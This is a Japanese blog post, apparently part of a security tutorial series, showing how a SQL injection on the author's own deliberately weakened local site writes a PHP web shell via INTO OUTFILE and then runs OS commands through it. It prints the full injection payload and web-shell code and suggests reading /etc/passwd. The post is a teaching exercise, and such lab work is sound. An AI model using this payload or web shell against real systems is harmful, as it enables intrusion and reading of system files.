【セキュリティ】SQLインジェクションを通じてOSコマンドインジェクションをしてみる

【セキュリティ】SQLインジェクションを通じてOSコマンドインジェクションをしてみる
Photo by Maxim Hopman / Unsplash

前回の【セキュリティ】SQLインジェクションを実験してみるで作成したWebサイトを使って、OSコマンドインジェクションを試みたいと思います。

1. 脆弱性の設定

まずは、脆弱性を作ります。

DBの脆弱性の設定

DBのユーザーsectestにFILE権限を付与しておきます。
DBの管理者権限で下記を実行します。

MariaDB [(none)]> GRANT FILE ON . TO 'sectest'@'localhost';
Query OK, 0 rows affected (0.007 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.001 sec)

ディレクトリの脆弱性の設定

MariaDBからファイルの作成が可能な/var/www/html/sectest/ディレクトリを作成します。

$ sudo mkdir /var/www/html/sectest/
$ sudo chmod 777 /var/www/html/sectest/

2. OSコマンドインジェクションの実行

前回の記事のWebサイトを開いて、テキストボックスに下記の文字列を入力します。

admin' UNION SELECT "<?php system($_GET['cmd']); ?>", '1', '2' INTO OUTFILE '/var/www/html/sectest/shell.php

「検索」ボタンを押すと、下記の結果画面が表示されます。

失敗したと思いきや・・・ 別のタブを起動してアドレス欄に
localhost/sectest/shell.php?cmd=ls -la
と入力して見ると・・・

ls -laコマンドの結果が画面に表示されています。
これを使えば、/etc/passwd等のファイルの中身も見れるようになります。

/var/www/html/sectest/ディレクトリを見てみると、テキストボックスに入れた「shell.php」ファイルが作成されていて、中にPHPのコードが書かれていることがわかります。

3. まとめ

権限設定は、面倒でもきちんと計画を立てて設定する必要があります。
特に、本番環境に移行させるときは要注意ですね。

なお、脆弱性の実験をするときは、インターネットからアクセスできない環境で行いましょう。

次回は、今まで使用してきたWebサイトを、SQLインジェクションを起こさせないものにしたいと思います。